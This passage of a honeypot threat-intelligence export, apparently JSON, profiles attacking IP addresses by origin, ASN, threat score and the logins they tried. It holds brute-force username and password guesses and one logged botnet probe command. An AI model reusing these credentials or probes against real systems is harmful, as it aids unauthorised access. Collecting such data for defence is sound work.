      "last_seen": "2026-03-11T11:36:44.251Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "binance"
      ],
      "passwords_attempted": [
        "binance"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:05:50.865000+00:00",
        "last_seen_30d": "2026-03-11T11:37:53.598000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 49,
        "Suricata": 42
      }
    },
    "185.93.89.121": {
      "attack_count": 40,
      "first_seen": "2026-03-05T23:14:41.169Z",
      "last_seen": "2026-03-07T15:06:05.545Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "!1234kelltech",
        "2025!Kelltech",
        "kelltech!123",
        "kelltech123#"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.7,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T08:58:52.209000+00:00",
        "last_seen_30d": "2026-03-07T15:07:14.806000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 32,
        "Heralding": 2
      }
    },
    "116.110.145.206": {
      "attack_count": 32,
      "first_seen": "2026-03-31T22:59:38.503Z",
      "last_seen": "2026-03-31T23:28:41.706Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "123456",
        "admin",
        "belkinstyle",
        "operator",
        "root",
        "sync"
      ],
      "passwords_attempted": [
        "111111",
        "123456",
        "72ca06",
        "click1",
        "operator",
        "trustix"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 31.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T22:33:45.682000+00:00",
        "last_seen_30d": "2026-03-31T23:29:46.211000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "175.107.228.146": {
      "attack_count": 30,
      "first_seen": "2026-03-14T16:22:47.847Z",
      "last_seen": "2026-03-14T16:26:02.208Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T16:22:47.847000+00:00",
        "last_seen_30d": "2026-03-14T16:27:04.386000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "171.231.191.198": {
      "attack_count": 20,
      "first_seen": "2026-03-19T08:29:38.075Z",
      "last_seen": "2026-03-19T08:30:51.660Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "installer",
        "support"
      ],
      "passwords_attempted": [
        "installer",
        "root",
        "root123",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:29:38.075000+00:00",
        "last_seen_30d": "2026-03-19T08:32:26.167000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "45.173.176.254": {
      "attack_count": 18,
      "first_seen": "2026-03-05T06:17:39.144Z",
      "last_seen": "2026-03-21T22:44:48.384Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 268818,
      "as_org": "Kobertura Telecom LTDA",
      "threat_score": 64.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 2150,
        "days_active_30d": 23,
        "ports_targeted_30d": 160,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T00:13:12+00:00",
        "last_seen_30d": "2026-03-24T21:21:35.989000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1103,
        "Honeytrap": 1029,
        "Cowrie": 18
      }
    },
    "64.62.156.222": {
      "attack_count": 16,
      "first_seen": "2026-03-12T09:17:57.091Z",
      "last_seen": "2026-03-29T04:02:32.435Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 393,
        "days_active_30d": 30,
        "ports_targeted_30d": 96,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T12:36:18.020000+00:00",
        "last_seen_30d": "2026-03-31T12:13:04.999000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 239,
        "Honeytrap": 110,
        "Ciscoasa": 17,
        "Cowrie": 16,
        "ConPot": 8,
        "Adbhoney": 2,
        "Ipphoney": 1
      }
    },
    "38.188.160.125": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:18:32.299Z",
      "last_seen": "2026-03-11T00:36:16.659Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "110486",
        "140982",
        "archibald"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:18:32.299000+00:00",
        "last_seen_30d": "2026-03-11T00:37:22.006000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "38.188.160.208": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:44:11.099Z",
      "last_seen": "2026-03-11T00:36:35.274Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "130783",
        "cerises",
        "jesus7"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:44:11.099000+00:00",
        "last_seen_30d": "2026-03-11T00:37:36.935000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "134.122.59.28": {
      "attack_count": 12,
      "first_seen": "2026-03-11T01:15:52.539Z",
      "last_seen": "2026-03-11T01:20:30.490Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "solv",
        "ubuntu"
      ],
      "passwords_attempted": [
        "solv",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:11:42.222000+00:00",
        "last_seen_30d": "2026-03-11T01:21:35.392000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "185.93.89.48": {
      "attack_count": 10,
      "first_seen": "2026-03-05T23:08:26.305Z",
      "last_seen": "2026-03-06T05:13:41.607Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "@2025Kelltech",
        "Kelltech1234@"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:08:43.991000+00:00",
        "last_seen_30d": "2026-03-06T05:14:46.034000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 10,
        "Heralding": 2
      }
    },
    "182.52.253.212": {
      "attack_count": 8,
      "first_seen": "2026-03-31T19:54:21.792Z",
      "last_seen": "2026-03-31T19:54:24.378Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "enable",
        "root",
        "sh"
      ],
      "passwords_attempted": [
        "shell",
        "system",
        "toor"
      ],
      "commands_executed": [
        "/bin/busybox BOT"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Chiang Mai",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T19:54:21.792000+00:00",
        "last_seen_30d": "2026-03-31T19:55:31.994000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 1
      }
    },
    "193.138.7.158": {
      "attack_count": 7,
      "first_seen": "2026-03-17T16:28:22.417Z",
      "last_seen": "2026-03-17T16:30:45.925Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "adm1n"
      ],
      "passwords_attempted": [
        "92429d82a41e930486c6de5ebda9602d55c39986"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 50304,
      "as_org": "Blix Solutions AS",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T16:28:22.417000+00:00",
        "last_seen_30d": "2026-03-17T16:31:50.495000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "174.138.13.42": {
      "attack_count": 6,
      "first_seen": "2026-03-10T23:48:05.557Z",
      "last_seen": "2026-03-10T23:48:06.123Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:48:05.557000+00:00",
        "last_seen_30d": "2026-03-10T23:49:14.558000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "185.247.137.121": {
      "attack_count": 6,
      "first_seen": "2026-03-23T16:19:50.915Z",
      "last_seen": "2026-03-23T16:19:53.672Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T03:32:52.561000+00:00",
        "last_seen_30d": "2026-03-23T16:21:02.902000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "205.210.31.209": {
      "attack_count": 6,
      "first_seen": "2026-03-16T16:07:42.274Z",
      "last_seen": "2026-03-30T04:14:01.501Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 29,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-03T00:32:31.697000+00:00",
        "last_seen_30d": "2026-03-31T13:00:10.012000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 23,
        "Cowrie": 6,
        "Adbhoney": 4,
        "Redishoneypot": 3,
        "ConPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Wordpot": 1
      }
    },
    "79.238.113.215": {
      "attack_count": 6,
      "first_seen": "2026-03-02T19:19:59.423Z",
      "last_seen": "2026-03-02T19:21:59.899Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Karlsruhe",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T19:19:59.423000+00:00",
        "last_seen_30d": "2026-03-02T19:32:38.368000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "77.90.185.237": {
      "attack_count": 5,
      "first_seen": "2026-03-05T20:18:16.756Z",
      "last_seen": "2026-03-05T20:18:19.241Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "kelltech#2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:42:49.787000+00:00",
        "last_seen_30d": "2026-03-05T20:19:27.592000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "1.15.136.28": {
      "attack_count": 4,
      "first_seen": "2026-03-05T05:56:34.840Z",
      "last_seen": "2026-03-05T05:56:35.365Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T05:56:34.840000+00:00",
        "last_seen_30d": "2026-03-05T05:57:37.362000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "100.48.87.238": {
      "attack_count": 4,
      "first_seen": "2026-03-27T00:57:10.987Z",
      "last_seen": "2026-03-27T00:57:16.392Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 48.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 12.5,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 15,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-13T00:53:44+00:00",
        "last_seen_30d": "2026-03-27T00:58:22.578000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 4,
        "Honeytrap": 3,
        "H0neytr4p": 1
      }
    },
    "167.94.138.118": {
      "attack_count": 4,
      "first_seen": "2026-03-15T17:33:07.010Z",
      "last_seen": "2026-03-15T17:33:22.811Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 59.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.2,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 21,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T19:39:01+00:00",
        "last_seen_30d": "2026-03-22T17:39:28.719000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 102,
        "Honeytrap": 41,
        "ElasticPot": 9,
        "Adbhoney": 4,
        "Cowrie": 4,
        "Honeyaml": 3,
        "Dicompot": 1,
        "Sentrypeer": 1
      }
    },
    "177.12.185.179": {
      "attack_count": 4,
      "first_seen": "2026-03-02T14:58:16.233Z",
      "last_seen": "2026-03-06T22:04:25.923Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belford Roxo",
      "asn": 263033,
      "as_org": "LINKLI TELECOMUNICACOES LTDA",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:58:16.233000+00:00",
        "last_seen_30d": "2026-03-06T22:05:27.996000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "195.158.108.67": {
      "attack_count": 4,
      "first_seen": "2026-03-03T22:47:50.024Z",
      "last_seen": "2026-03-03T23:45:17.763Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malta",
      "country_code": "MT",
      "city": "Birkirkara",
      "asn": 15735,
      "as_org": "GO p.l.c.",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T22:47:50.024000+00:00",
        "last_seen_30d": "2026-03-03T23:46:22.660000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "198.235.24.53": {
      "attack_count": 4,
      "first_seen": "2026-03-18T05:01:33.186Z",
      "last_seen": "2026-03-18T05:01:36.459Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 28,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-04T06:20:35.365000+00:00",
        "last_seen_30d": "2026-03-31T22:38:50.193000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 22,
        "ConPot": 6,
        "Cowrie": 4,
        "Dionaea": 1,
        "Sentrypeer": 1,
        "Tanner": 1
      }
    },
    "45.197.148.35": {
      "attack_count": 3,
      "first_seen": "2026-03-31T03:07:45.851Z",
      "last_seen": "2026-03-31T03:08:54.649Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 134365,
      "as_org": "Ansheng Network Technology Co., Limited",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T03:07:45.851000+00:00",
        "last_seen_30d": "2026-03-31T03:10:06.470000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "108.52.1.142": {
      "attack_count": 2,
      "first_seen": "2026-03-25T08:34:43.099Z",
      "last_seen": "2026-03-25T08:34:57.676Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 701,
